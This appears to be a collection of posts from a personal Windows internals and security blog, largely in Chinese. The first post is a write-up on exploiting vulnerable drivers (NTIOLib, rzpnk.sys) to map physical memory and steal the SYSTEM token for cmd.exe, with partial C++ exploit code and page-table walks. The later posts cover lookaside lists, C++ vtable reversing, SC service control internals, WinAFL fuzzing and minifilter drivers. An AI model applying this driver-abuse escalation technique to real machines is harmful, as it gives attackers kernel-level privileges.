        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\NTIOLib_ACTIVE_X => ntiolib_x64\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }
    return hDevice;
}
bool mapPhMem(HANDLE hDevice,b8 phStart,b4 size) {
    unsigned char InBuffer[0x10] = { 0 };
    // inBuffer的0x8存一个b4，值为1，指示驱动将映射出来的物理内存拷贝到我们传过去的buffer中
    // outBuffer将存储映射出来的物理内存
    // inBuffer的0xC存一个b4作为要映射的size
    // inBuffer的0存一个b8，作为物理内存的开始地址
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = phStart;
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 1;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = size;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer),
        GMemBuffer,
        size,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }  
    printf("bytes count read out: 0x%x\n", BytesReturned);
    return 1;
}

虽然没有办法稳定利用MmMapIoSpace ，但是我们可以稳定利用ZwMapViewOfSection

rzpnk.sys的iocode 22a064可以到达zwmapviewofsection函数，并可以直接控制handle参数，映射结果会返回给outbuffer

sub_17840

ZwMapViewOfSection(a3, ProcessHandle, BaseAddress, 0i64, a4, 0i64, (PSIZE_T)v11, ViewUnmap, 0, 0x40u);

其中a3为inbuffer的0x10（section handler），a4为inbuffer的0x20（CommitSize）

也就是说我们可以控制ZwMapViewOfSection函数的handler参数和commit size参数，以及第7个参数ViewSize，由我们的a4控制，也就是可以控制实际上要映射多大的内存出来，我们直接指定a4为0即可映射整个section

映射结果baseaddress作为caller的第五个参数直接写回到outbuffer的0x18

那么我们现在只需要获取到位于pid 4即system进程的physicalmemory section的句柄值即可

我们先使用老版本的processhacker（密码是1）看一下这个section的句柄值

0x550和0x574都是可以的，当然在实际的利用环境中我们是没有办法提前知道这个section的handle value的，这里只是为了获取当前操作系统版本的section类型的index值

使用这个代码，输出如下：

好了，我们现在知道section类型的index值是42了

但是还有一个问题，就是system进程中有很多section，我们用户模式下是无法知道每个handle对应的名称的，但是通过我的观察，\Device\PhysicalMemory的handle值是比较靠前的，如果将所有的section handle按照升序排列，那么在前十个里面肯定可以找到\Device\PhysicalMemory

那么我们来试着写一下代码

我们好像不能把ViewSize指定为0，因为我们没有办法接收返回参数，我们只能传入，无法获取传出的值

那么我们只能把a4写成当前机器的物理内存大小了，但是我们只能使用dword来指定，dword最大只能描述4GB的内存，如果机器超过4gb的物理内存就不行了，我想到一个办法，那就是先指定物理内存大小，如果超过4GB就指定4gb，然后使用前10个handle value进行调用，如果不是\Device\PhysicalMemory应该会返回STATUS_INVALID_VIEW_SIZE 0xC000001F（存储在outbuffer的0x28），我先来测试一下

inbuffer和outbuffer的size要超过0x30

验证成功：代码

这样我们就获得了\Device\PhysicalMemory的句柄值，我们使用这个句柄值重新映射，这次传入viewsize为0

我靠，我指定0，他说我内存不够，错误代码c0000017，那算了，我还是直接指定实际的内存值吧

定位到cmd.exe的eprocess

演示视频

代码

演示视频中可以看到最后cmd进程的token和system的token值并不是完全一样的，这个我也不太清楚是为啥

反正可以正常提权就行

MmMapIoSpace利用 windows 1803版本之前可以用

要利用这个东西，需要首先弄清楚windows的分页机制

参考

虚拟地址到物理地址的转换

使用如下脚本可以将虚拟地址转换成上面4个表的offset和最后的offset的形式：

def parse_virtual_address(addr_str):
    # Convert hex string to 64-bit integer
    addr = int(addr_str, 16)

    # Masks and shifts based on bit positions
    offset_mask = 0xFFF
    pt_mask = 0x1FF << 12
    pd_mask = 0x1FF << 21
    pdpt_mask = 0x1FF << 30
    pml4_mask = 0x1FF << 39
    sign_mask = 0xFFFF << 48

    # Extract parts
    offset = addr & offset_mask
    pt = (addr & pt_mask) >> 12
    pd = (addr & pd_mask) >> 21
    pdpt = (addr & pdpt_mask) >> 30
    pml4 = (addr & pml4_mask) >> 39
    sign = (addr & sign_mask) >> 48

    print(f"Address: {addr_str}")
    print(f"Sign Extension: {sign:#06x}")
    print(f"PML4 Index     : {pml4:#05x}")
    print(f"PDPT Index     : {pdpt:#05x}")
    print(f"PD Index       : {pd:#05x}")
    print(f"PT Index       : {pt:#05x}")
    print(f"Offset         : {offset:#05x}")


# Example usage
parse_virtual_address("ffffc8024fb7d5c0")

转换结果：

Address: ffffc8024fb7d5c0
Sign Extension: 0xffff
PML4 Index     : 0x190
PDPT Index     : 0x009
PD Index       : 0x07d
PT Index       : 0x17d
Offset         : 0x5c0

计算过程：

kd> !process 0 0 lsass.exe
PROCESS ffffc8024fb7d5c0
    SessionId: 0  Cid: 031c    Peb: 6103bfb000  ParentCid: 0294
    DirBase: 39aff000  ObjectTable: ffff9c88e17caa80  HandleCount: 980.
    Image: lsass.exe

获得cr3 value即DirBase：39aff000，这个就是PML4T的base，使用PML4 index 0x190计算出PML4E

在windbg中可以使用!dq查看DWORD64

kd> !dq 39aff000  +190*8 l1
#39affc80 0a000000`013d1863

计算PDPT的base，起始就是用PML4E里面存的值和0xFFFFF000做与操作

kd> ? 0a000000`013d1863&0xFFFFF000
Evaluate expression: 20779008 = 00000000`013d1000

使用PDPT index 0x9和PDPT base 0x13d1000计算PDPE里面存的值，顺便计算出PDT的base

kd> !dq 013d1000+9*8 l1
# 13d1048 0a000000`013d0863
kd> ?0xFFFFF000&0a000000`013d0863
Evaluate expression: 20774912 = 00000000`013d0000

使用PDT Index : 0x07d计算PDE里面存的值并计算出PT的base

kd> !dq 013d0000+7d*8 l1
# 13d03e8 0a000000`1e4f8863
kd> ?0a000000`1e4f8863&0xFFFFF000
Evaluate expression: 508526592 = 00000000`1e4f8000

使用PT Index : 0x17d计算PTE里面存的值并计算出最终的base

kd> !dq 1e4f8000+8*17d l1
#1e4f8be8 8a000000`1bc97963
kd> ? 8a000000`1bc97963&0xFFFFF000
Evaluate expression: 466186240 = 00000000`1bc97000

这个base加上最终的offset 0x5c0就是虚拟地址ffffc8024fb7d5c0对应的物理地址

kd> !dq 1bc97000+0x5c0 l4
#1bc975c0 00000000`00b60003 ffffc802`4fb71e50
#1bc975d0 ffffc802`4fb71e50 ffffc802`4fb7d5d8
kd> dqs ffffc8024fb7d5c0 l4
ffffc802`4fb7d5c0  00000000`00b60003
ffffc802`4fb7d5c8  ffffc802`4fb71e50
ffffc802`4fb7d5d0  ffffc802`4fb71e50
ffffc802`4fb7d5d8  ffffc802`4fb7d5d8

我们的目标是System进程的cr3，System的EP地址可以使用如下代码获取

可以看到System进程EP非常好找，他的handle value就是windows系统的第一个handle 4

而且System的cr3相对于其他进程的cr3非常小

步长0x1000，搜索1a0到1b0

使用前面获取的EP虚拟地址翻译出来物理地址，然后查看ImageFileName是不是System来确定是否找到了正确的cr3

large page

在页表转换的时候需要考虑到一种特殊情况，那就是large page

参考

PAT标志位位于bit 7

一般出现在PDE中，比如windows的System进程的cr3就在PDE这一层启用了large page

所以我们需要在到达PDE这一层级的时候检测是否启用了large page

提权

前面我们已经枚举出了system的ep物理地址，下面我们再来枚举cmd进程的ep物理地址，我们先使用这个代码看一下thread对象类型的index值

可以看到thread类型的index值为8，然后我们就可以使用这个代码获取到我们目标cmd进程的其中一个thread对象的内核地址

我们不用枚举目标进程的cr3，因为不管是ethread还是eprocess都是内核的数据结构，属于是System进程的东西，就还是使用system的cr3进行虚拟地址的翻译即可

本代码仅适用于windows 1709版本，因为我用到了eprocess和kthread的偏移量，我是硬编码在代码中的

代码

演示视频

在挂了内核调试器利用MmMapIoSpace会崩溃的解决方案

关闭调试模式即可，如果一定要使用调试器，请往下看

参考

关于高版本windows cr3无法被MmMapIoSpace访问的问题

尝试使用Mmmapiospacey映射PML4E会返回0

下面提到的cr3其实是cr3/0x1000

发生错误的地方是这里

正常是相等的，我们的不相等，我直接手动把这一块的内存指令修改了，可以正常利用

poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2)) >> 0xD & FFFFFFFFFFFFFFF0 | FFFF800000000000

这个结果必须为FFFF800000000030h

其实说白了就是poi(cr3*6*8+poi(nt!MiFillSystemPtes+0x2d6+2))的值必须位于60000~6ffff

反正所有的cr3都是不符合这个条件的

poi(nt!MiFillSystemPtes+0x2d6+2)其实就是nt!MmPfnDatabase

虽然我们没有直接在os的代码中看到，但是计算出来的mmpfn中的mmpte的内容，PML4E正好是落在PTE指示的table base范围内的

Windows Kernel Structure

2025-03-17T00:00:00+01:00

Lookaside Lists

this structure is used for optimization, when fixed-size allocations are needed

we all know that allocate and free memory is expensive, so for this kind of fixed-size allocation, we just don't really free the memory we allocated, we just mark it as available

so when the next time a same size memory is requested to be allocated, we just return this memory block instead of allocating a new fresh memory

this is the purpose of lookaside lists

to use this structure, you need to call windows API to initialize it

NTSTATUS ExInitializeLookasideListEx(
  [out]          PLOOKASIDE_LIST_EX    Lookaside,
  [in, optional] PALLOCATE_FUNCTION_EX Allocate,
  [in, optional] PFREE_FUNCTION_EX     Free,
  [in]           POOL_TYPE             PoolType,
  [in]           ULONG                 Flags,
  [in]           SIZE_T                Size,
  [in]           ULONG                 Tag,
  [in]           USHORT                Depth
);

after that, you can call this API to get a memory block who will have the size and tag you specified in initialization function:

PVOID ExAllocateFromPagedLookasideList(
  [in, out] PPAGED_LOOKASIDE_LIST Lookaside
);

free with this API:

void ExFreeToPagedLookasideList(
  [in, out] PPAGED_LOOKASIDE_LIST Lookaside,
  [in]      PVOID                 Entry
);

destroy lookaside lists with this API:

void ExDeletePagedLookasideList(
  [in, out] PPAGED_LOOKASIDE_LIST Lookaside
);

C++ class reverse

2025-03-12T00:00:00+01:00

references:

https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/

here is a demo source file

here is the compiled binary

it is a x86 exe

the main function of it is sub_402A60

virtual function table of these three class begin from 40AB34

you can see two _purecall function in father class:

they're corresponding to these two lines in source code:

normally, only virtual function in base class have this function defined, here is the code of _purecall：

//
// purevirt.cpp
//
//      Copyright (c) Microsoft Corporation. All rights reserved.
//
// The _purecall handler, called by compiler-generated code when a pure virtual
// call occurs.
//
#include <vcruntime_internal.h>
#include <stdlib.h>



extern "C" extern _purecall_handler __pPurecall;



extern "C" int __cdecl _purecall()
{
    _purecall_handler const purecall_handler = _get_purecall_handler();
    if (purecall_handler != nullptr)
    {
        purecall_handler();

        // The user-registered purecall handler should not return, but if it does,
        // continue with the default termination behavior.
    }

    abort();
}

extern "C" _purecall_handler __cdecl _set_purecall_handler(
    _purecall_handler const new_handler
    )
{
    return __crt_fast_decode_pointer(
        __crt_interlocked_exchange_pointer(
            &__pPurecall,
            __crt_fast_encode_pointer(new_handler)));
}

extern "C" _purecall_handler __cdecl _get_purecall_handler()
{
    return __crt_fast_decode_pointer(__crt_interlocked_read_pointer(&__pPurecall));
}

in the main function, we can see sub_4010E1 is being called for allocate 4h bytes memory

this is the implementation of this function, it is just a wrapper of malloc:

void *__cdecl sub_402CB0(size_t Size)
{
  void *v2; // [esp+0h] [ebp-4h]

  while ( 1 )
  {
    v2 = malloc(Size);
    if ( v2 )
      break;
    if ( !callnewh(Size) )
    {
      if ( Size == -1 )
        sub_401357();
      sub_4010DC();
    }
  }
  return v2;
}

then, the new allocated memory is pass either to sub_40125D or sub_401316, depends on the rand() return value, these two function is actually the Dog and Cat class constructor

in IDA, we can see that this memory will finally be assigned with the correspond class virtual function table:

after class constructor call, member function walk will be called, we can not see the actual function address being called, it is called from a register:

so v5 is now the class object, based on the constructor function code, we know *v5 is virtual function table, and 8h offset of it is the 3rd function in vftable, which is depends on the which class is this vftable belongs to, it is decided in runtime, it will either call dog's walk or cat's walk

because neither Dog nor Cat implement move function, so the last entry in the vftable of all three class is the same

now let's define their structure:

then we need to create a structure of every vfptr of them

then we set the vfptr to the correct type for these three class

then we set set for variable in IDA, we can either set v5 to dogs* or cats*

SC是如何卸载驱动的

2024-12-14T00:00:00+01:00

最近由于项目原因，需要实现一个驱动的自我保护，即禁止其他人使用sc stop servicename的方式关停我的驱动，因此就有了这一篇文章

我准备通过研究卡巴斯基的代码来看看他是如何实现自我保护的

可以看到卡巴这里直接显示SC对自己的服务无效，我就是想要达到这种效果

首先使用windbg调试sc.exe

把sc.exe拖到ida里面，查找关键函数调用，首先看WMAIN函数，然后再进入Woker函数

在Worker函数中可以看到SC的命令行选项之一query

再往下看就能看到stop选项，那么我们现在就进入SendControlToService函数

根据实际动态调试，我们会在这个地方失败，该函数返回值为0表示失败

这个函数是一个导入函数，他是一个动态加载的函数

我们需要在WINDBG中通过动态调试来找到这个Helper2函数的地址

定位到该函数实际上就是sechost!ControlService

那么现在我们把sechost.dll拖到IDA中，看一下这个函数

可以看到最终就是发送了一个RPC来对服务进行控制的，那么现在问题来了，我们要怎么才能找到这个RPC服务的服务端进程是谁呢？以及是该进程中的哪个函数负责处理的呢？

要想解答这个问题，我们就需要逆向一下这个函数来看看他是如何工作的，妈的这个好难分析啊

通过跟踪RPCMSG结构体，最终可以定位到发送位置为NtAlpcSendWaitReceivePort，调用栈如下：

0:000> k
 # Child-SP          RetAddr               Call Site
00 000000e5`8627ed90 00007ffb`17f63fc1     RPCRT4+0x46e6b
01 000000e5`8627ee40 00007ffb`17f792a7     RPCRT4+0x43fc1
02 000000e5`8627ee90 00007ffb`17f217c0     RPCRT4+0x592a7
03 000000e5`8627eec0 00007ffb`17f224bf     RPCRT4+0x17c0
04 000000e5`8627f4e0 00007ffb`1790e964     RPCRT4+0x24bf
05 000000e5`8627f510 00007ff6`781f9741     sechost+0xe964
06 000000e5`8627f560 00007ff6`781f3d88     sc+0x9741
07 000000e5`8627f630 00007ff6`781f1074     sc+0x3d88
08 000000e5`8627f790 00007ff6`781f210d     sc+0x1074
09 000000e5`8627f7c0 00007ffb`175a7614     sc+0x210d
0a 000000e5`8627f800 00007ffb`182c26a1     KERNEL32!BaseThreadInitThunk+0x14
0b 000000e5`8627f830 00000000`00000000     ntdll!RtlUserThreadStart+0x21

该函数对应的系统调用为

根据字段名称可以推测这个应该就是接收方的ALPC_PORT

查看该PORT的OwnerProcess

可以看到，接收方的进程为services.exe，那么我们只需要在nt!AlpcpReceiveMessage下断点，并限定进程为services.exe即可

可以看到他的ALPC PORT的名称为NTSVCS

把services.exe拖到IDA里面去看

这里有一个RPC的示例项目，可以帮助我们更好的理解windows的RPC是如何工作的

根据示例项目中的RPCServer.exe的逆向分析：

提供给客户端调用的函数是SendReverseShell，那么我们就看这个函数的交叉引用

最终定位到红框部分

再来查看红框部分的交叉引用，定位到这个地方

最后这个东西的引用位置是RpcServerRegisterIf2函数的第一个参数

那么我们照猫画虎来分析services.exe，我们前面已经知道他的ALPC的名称叫做NTSVCS，那么就可以定位到这个地方

根据前面对RPCServer.exe的分析，那么下图中的unk_140082380就是关键位置

最终我们定位到如下远程调用函数列表

根据函数名可知，我们要的函数就是RControlService

现在我们就可以继续分析了

但是我没有办法调试services.exe进程，即使摘掉了他的PPL保护我还是没办法调试

内核调试器中使用/p下的断点也无法被触发

最终我还是使用了内核调试的方式来对services.exe进程进行的调试，首先，我在内核调试器中定义如下断点：

bp /p ffff928a5717b0c0 ntopenfile

其中ffff928a5717b0c0为services.exe进程的EPROCESS地址

经过漫长的等待之后，断点终于触发，得到如下调用栈：

kd> k
 # Child-SP          RetAddr               Call Site
00 ffff8600`60a29a88 fffff803`85611d05     nt!NtOpenFile
01 ffff8600`60a29a90 00007ff8`7a86dbc4     nt!KiSystemServiceCopyEnd+0x25
02 000000b2`4237cf18 00007ff8`7a828b5e     ntdll!NtOpenFile+0x14
03 000000b2`4237cf20 00007ff8`7a8289d2     ntdll!LdrpMapResourceFile+0x112
04 000000b2`4237d030 00007ff8`7a80533c     ntdll!LdrMapAndVerifyResourceFile+0x9a
05 000000b2`4237d0b0 00007ff8`7a8058ac     ntdll!LdrLoadAlternateResourceModuleEx+0x49c
06 000000b2`4237dbc0 00007ff8`7a803d98     ntdll!LdrpLoadResourceFromAlternativeModule+0x1ec
07 000000b2`4237dd30 00007ff8`7a823c45     ntdll!LdrpSearchResourceSection_U+0x1cc
08 000000b2`4237dea0 00007ff8`7846bc09     ntdll!RtlLoadString+0x105
09 000000b2`4237df60 00007ff8`7846919b     KERNELBASE!LoadStringByReference+0x499
0a 000000b2`4237e300 00007ff6`4f59b855     KERNELBASE!RegLoadMUIStringW+0x18b
0b 000000b2`4237e390 00007ff6`4f59b548     services!ScRegLoadMUIString+0x81
0c 000000b2`4237e830 00007ff6`4f59b617     services!ScReadStringIndirect+0x64
0d 000000b2`4237e890 00007ff6`4f59b169     services!ScReadAndTranslateString+0x83
0e 000000b2`4237e900 00007ff6`4f59b047     services!CServiceRecord::ReadDisplayNameFromRegistry+0x79
0f 000000b2`4237e940 00007ff6`4f59adf3     services!CServiceRecord::ReadDisplayName+0x17
10 000000b2`4237e970 00007ff6`4f599d1a     services!CServiceRecord::GetJITReadDisplayName+0x2b
11 000000b2`4237e9a0 00007ff6`4f58988f     services!CWin32ServiceRecord::SendControl+0xca
12 000000b2`4237ece0 00007ff6`4f593939     services!CWin32ServiceRecord::StartInternal+0xcbf
13 000000b2`4237eec0 00007ff6`4f5935ca     services!CServiceRecord::Start+0x99
14 000000b2`4237ef20 00007ff6`4f592b18     services!ScStartMarkedServicesInServiceSet+0x182
15 000000b2`4237efb0 00007ff6`4f5924fa     services!ScStartServicesInStartList+0x200
16 000000b2`4237f080 00007ff6`4f586101     services!ScStartServiceAndDependencies+0x1d6
17 000000b2`4237f150 00007ff8`79c9a2d3     services!RStartServiceW+0x101
18 000000b2`4237f1d0 00007ff8`79c325a7     RPCRT4!Invoke+0x73
19 000000b2`4237f230 00007ff8`79c80c3a     RPCRT4!NdrStubCall2+0x3f7
1a 000000b2`4237f580 00007ff8`79c7b128     RPCRT4!NdrServerCall2+0x1a
1b 000000b2`4237f5b0 00007ff8`79c58146     RPCRT4!DispatchToStubInCNoAvrf+0x18
1c 000000b2`4237f600 00007ff8`79c57a98     RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x1a6
1d 000000b2`4237f6e0 00007ff8`79c650af     RPCRT4!RPC_INTERFACE::DispatchToStub+0xf8
1e 000000b2`4237f750 00007ff8`79c644b8     RPCRT4!LRPC_SCALL::DispatchRequest+0x31f
1f 000000b2`4237f820 00007ff8`79c63aa1     RPCRT4!LRPC_SCALL::HandleRequest+0x7f8
20 000000b2`4237f930 00007ff8`79c6350e     RPCRT4!LRPC_ADDRESS::HandleRequest+0x341
21 000000b2`4237f9d0 00007ff8`79c67b62     RPCRT4!LRPC_ADDRESS::ProcessIO+0x89e
22 000000b2`4237fb10 00007ff8`7a7f0330     RPCRT4!LrpcIoComplete+0xc2
23 000000b2`4237fbb0 00007ff8`7a81d566     ntdll!TppAlpcpExecuteCallback+0x260
24 000000b2`4237fc30 00007ff8`78fc7374     ntdll!TppWorkerThread+0x456
25 000000b2`4237ff30 00007ff8`7a81cc91     KERNEL32!BaseThreadInitThunk+0x14
26 000000b2`4237ff60 00000000`00000000     ntdll!RtlUserThreadStart+0x21

从这个地方我们可以判断出来，services.exe进程中的远程函数都是通过RPCRT4!Invoke来调用的LL

17 000000b2`4237f150 00007ff8`79c9a2d3     services!RStartServiceW+0x101
18 000000b2`4237f1d0 00007ff8`79c325a7     RPCRT4!Invoke+0x73

准确来说，就是这个地方：LLLL

然后我们在这个地方下断点，当r10为RControlService我们断下来就行了

Windows Binary Fuzz

2024-10-16T00:00:00+02:00

references:

https://bushido-sec.com/index.php/2023/06/25/the-art-of-fuzzing-windows-binaries/

windows下的闭源二进制文件灰盒测试，所谓闭源，就是说我们没有待测试二进制文件的源代码，闭源测试很麻烦，所以搞这个的人比较少，然后能他人之所不能，即是我们自身价值的体现，进行这种类型的模糊测试，我们需要克服以下挑战：

插桩
定位值得被fuzz的函数
修改二进制文件使得其能够被fuzz

我们将会使用WinAFL作为我们的fuzz工具，WinAFL提供了三种插桩方式：

DynamoRIO，在二进制运行过程中对代码进行修改
Syzygy，静态插桩，在二进制编译阶段修改代码
Intel PTrace，硬件追踪，这个是CPU的一个特性，可以以异步的方式跟踪程序执行流

这三种方式各有优劣，我们将主要使用DynamoRIO，DynamoRIO和WinAFL的配合流程如下图所示：

编译WinAFL

1. 下载DynamoRIO，最新版本二进制文件下载地址
1. 如果你需要Intel PTrace支持，你需要在WinAFL源代码目录下执行如下命令：git submodule update --init --recursive
1. 打开VS Command Prompt（VS 2022）
1. 进入WinAFL源码目录
1. 输入如下命令进行构建:
mkdir build64 cd build64 cmake -G "Visual Studio 17 2022" -A x64 .. -DDynamoRIO_DIR=C:\Users\x\Downloads\DynamoRIO-Windows-11.90.20133\cmake -DINTELPT=1 -DUSE_COLOR=1 cmake --build . --config Release

寻找要Fuzz的目标

一个比较有效的方法是在ZDI网站上寻找目标，特别是那种以前出过洞且仍然处于活跃状态的项目

修改程序，使得程序可以被fuzz

有些程序会有一些烦人的弹窗，这个时候我们就需要把这些弹窗给patch掉，省得他影响我们的fuzz工具

这里有一个示例程序，解压密码是bushido

这个双击运行之后有一个弹窗，我们需要patch掉这个弹窗，在ida里面打开这个程序，搜索字符串Click Yes or No

我们就直接把这个函数的第一个字节修改成c3，让他直接返回就行了，反正他的caller也不检查返回值

选中要修改的地址，直接patch，然后点击Apply patches to input file应用修改即可

我好像不能直接这样改，我这样改好像把他的栈给损坏了，但是我又不知道我是怎么损坏了他的栈的，这x86的程序好操蛋啊，我都不知道他的calling convention是啥

写了个测试程序，x86的calling convention是这个样子的

说白了，就是倒序push

观察这个地方

可以看到，在call完test函数之后，会使用add esp, 0x18来修复栈，因为我们前面push了6个dword进去，一个DWORD是4bytes，6个正好就是0x18 bytes，我们之前直接把函数修改为ret导致没有人修复栈，所以在最后main函数中返回的时候就崩溃了

不对啊，我修改的是里面按理说对外面的代码是没有影响的呀卧槽

我刚才又仔细调试了一下示例代码，发现我们patch的程序修复了栈，所以我们直接把这个程序修改为ret，会导致最终的main函数在返回时崩溃，所以我们需要换一种patch方式

我们可以将这个函数中的call指令全部修改为nop指令，我靠，这么改也不行，还是会崩溃

仔细观察该函数，发现他最后的返回指令是

就是这条指令修复了栈，我们直接从函数开始的地方复改为者3个字节即可

这下可以了，不崩溃了，栈平衡了，我们再来看一下原作者是怎么patch的

原作者是直接把call 401000替换成nop了，他这样肯定会在返回的时候崩溃，因为这个函数负责平衡栈，没有了这个函数栈就不可能是平衡的

我试了一下，确实是会崩溃

内核数据结构——BitMap

2024-08-12T00:00:00+02:00

references：

https://www.osronline.com/article.cfm%5Earticle=523.htm

BitMap是windows内核开发者使用最多的内核数据结构之一，该数据结构可以帮助我们快速定位到buffer中的bit并进行set和clear操作，比如在listentry中快速查找哪一个entry是free的

在命名管道上实现异步IO

2024-08-05T00:00:00+02:00

references：

Named Pipes

基本概念

命名管道的实例

所谓命名管道是一个存在于server和client之间的一个单工/双工通信管道，一个命名管道可以拥有多个实例，这些实例共享同一个管道名称，但是却拥有各自的handle和buffer，并为server/client提供分离的通信管道

如下图所示，该进程中有4个具有相同名称不同句柄的命名管道实例

Windows MiniFilter

2024-05-13T00:00:00+02:00

references：

https://www.apriorit.com/dev-blog/675-driver-windows-minifilter-driver-development-tutorial

前面讲到的windows文件系统过滤驱动代码比较多，而且容易出错，所以微软推出了minifilter框架，来让开发者更专注于业务逻辑，一些重复性的繁杂的代码都整合到了框架中

我们在WPP修改过的FsFilter项目代码上进行修改

另外需要注意的是，MiniFilter项目需要使用C++进行编写，因此文件名需要更改为.cpp

代码编写

之前用的全局变量是g_fsFilterDriverObject，现在我们需要改成MiniFilter句柄

PFLT_FILTER g_minifilterHandle = NULL;

然后需要在DriverEntry函数中注册MiniFilter

NTSTATUS status = FltRegisterFilter(DriverObject, &g_filterRegistration, &g_minifilterHandle);
if (!NT_SUCCESS(status)) 
    return status;

然后启动MiniFilter来拦截IO请求

status = FltStartFiltering(g_minifilterHandle);
if (!NT_SUCCESS(status)) 
    FltUnregisterFilter(g_minifilterHandle);

上面调用FltRegisterFilter注册MiniFilter的时候使用了一个未定义的变量g_filterRegistration这是另一个全局变量，是一个FLT_REGISTRATION结构体

CONST FLT_REGISTRATION g_filterRegistration =
{
    sizeof(FLT_REGISTRATION),      //  Size
    FLT_REGISTRATION_VERSION,      //  Version
    0,                             //  Flags
    NULL,                          //  Context registration
    g_callbacks,                   //  Operation callbacks
    InstanceFilterUnloadCallback,  //  FilterUnload
    InstanceSetupCallback,         //  InstanceSetup
    InstanceQueryTeardownCallback, //  InstanceQueryTeardown
    NULL,                          //  InstanceTeardownStart
    NULL,                          //  InstanceTeardownComplete
    NULL,                          //  GenerateFileName
    NULL,                          //  GenerateDestinationFileName
    NULL                           //  NormalizeNameComponent
};

g_callbacks字段为FLT_OPERATION_REGISTRATION结构体，该结构体描述了针对捕获的IO操作的pre-operation和post-operation

我们这里只写一个pre-operation

CONST FLT_OPERATION_REGISTRATION g_callbacks[] =
{
    {
        IRP_MJ_CREATE,
        0,
        PreOperationCreate,
        0
    },

    { IRP_MJ_OPERATION_END }
};

新建一个文件FsMinifilter.cpp

该文件中将会包含回调函数的定义

MiniFilter中的pre和post opertaion的概念就相当于我们之前写的传统fsfilter中的dispatch和completion例程

我们需要针对IRP_MJ_CREATE操作定义一个pre-operation来输出文件名

FLT_PREOP_CALLBACK_STATUS FLTAPI PreOperationCreate(
    _Inout_ PFLT_CALLBACK_DATA Data,
    _In_ PCFLT_RELATED_OBJECTS FltObjects,
    _Flt_CompletionContext_Outptr_ PVOID* CompletionContext
)
{
    //
    // Pre-create callback to get file info during creation or opening
    //

    DbgPrint("%wZ\n", &Data->Iopb->TargetFileObject->FileName);

    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

下一步需要实现InstanceFilterUnloadCallback函数，这个会在卸载MiniFilter的时候用到，我们在这个函数中调用FltUnregisterFilter函数来注销MiniFilter

还有另外两个函数InstanceSetupCallback和InstanceQuertTeardownCallback需要定义，这两个函数会在我们的minifilter连接磁盘分区或者和磁盘分区断开连接的时候被用到

这两个函数只是个stub，里面没有实际的代码，只有一个返回语句

NTSTATUS FLTAPI InstanceSetupCallback(
    _In_ PCFLT_RELATED_OBJECTS  FltObjects,
    _In_ FLT_INSTANCE_SETUP_FLAGS  Flags,
    _In_ DEVICE_TYPE  VolumeDeviceType,
    _In_ FLT_FILESYSTEM_TYPE  VolumeFilesystemType)
{
    //
    // This is called to see if a filter would like to attach an instance to the given volume.
    //

    return STATUS_SUCCESS;
}

NTSTATUS FLTAPI InstanceQueryTeardownCallback(
    _In_ PCFLT_RELATED_OBJECTS FltObjects,
    _In_ FLT_INSTANCE_QUERY_TEARDOWN_FLAGS Flags
)
{
    //
    // This is called to see if the filter wants to detach from the given volume.
    //

    return STATUS_SUCCESS;
}

演示

项目地址

可以看到明显代码要少了很多很多，我们只需要实现一下回调函数即可

扩展

这里着重介绍minifilter的context概念，windowd的很多机制中都有各种context

在minifilter这里，context是filter自定义的一些数据，这些数据附着在某些内核对象中

在使用Context之前，需要先调用FltAllocateContext函数来获取一个未初始化的Context对象

函数签名如下：

NTSTATUS FLTAPI FltAllocateContext(
  [in]  PFLT_FILTER      Filter,
  [in]  FLT_CONTEXT_TYPE ContextType,
  [in]  SIZE_T           ContextSize,
  [in]  POOL_TYPE        PoolType,
  [out] PFLT_CONTEXT     *ReturnedContext
);

a1是filter注册函数FltRegisterFilter的返回值，同时它也可以通过filter注册的callback函数的FLT_RELATED_OBJECTS参数获取

a5是传出参数，里面会保存未初始化的Context对象

分配之后，我们就可以在里面存储任何我们想要存储的数据，我们必须把这个Context attach到一个对象上，这个可以通过调用FltSetFileContext函数完成，不同的Context类型拥有对应的Set函数，只需要把File替换为对应的Context类型名即可

函数签名如下：

NTSTATUS FLTAPI FltSetFileContext(
  [in]  PFLT_INSTANCE             Instance,
  [in]  PFILE_OBJECT              FileObject,
  [in]  FLT_SET_CONTEXT_OPERATION Operation,
  [in]  PFLT_CONTEXT              NewContext,
  [out] PFLT_CONTEXT              *OldContext
);

对于所有的类型，a1都是必须要提供的参数，对于FILE类型的Context，我们需要提供一个FILE_OBJECT来将Context附着在上面

NewContext就是我们前面Allocate的Context对象，OldContext是一个可选参数，可以用来取回该FILE_OBJECT上之前附着的Context对象

Context有自己的引用计数，因此在用完之后，需要调用FltReleaseContext函数来进行释放

对于这种需要对引用计数加以关注的对象，使用RAII是最佳实践

后面如果需要使用Context，使用FltGetXxxContext函数即可，这里的Xxx就是Context类型

在minifilter中发起IO请求

我们不能直接在filter的callback中使用诸如ZwCreateFile这样的内核函数，因为我们当前就在IO处理的栈中，再次调用这种函数很容易发生问题

filter manager提供了一些函数来帮助filter进行IO操作，这些函数的名称和ZeCreatefile很像，只是前缀变成了Flt

这个函数的函数签名太长，我就不贴了，可以自己看官方文档

不过大多数情况下，我们选择使用FltCreateFileEx，该函数中有一个传出参数，会保存返回的FILE_OBJECT对象，然后我们可以调用FltReadFile和FltWriteFile等函数对该FILE_OBJECT进行操作，对于这种情况，在操作完成之后，需要使用ObDereferenceObject函数来降低引用计数

下面我们来实现一个文件备份驱动以加深理解

File Backup Driver

我们将要开发的这个驱动拥有自动备份文件的功能，每当这个文件被打开进行写入操作的时候，我们就会先备份一下原始文件，这样可以在将来有需要的时候恢复到上一个状态

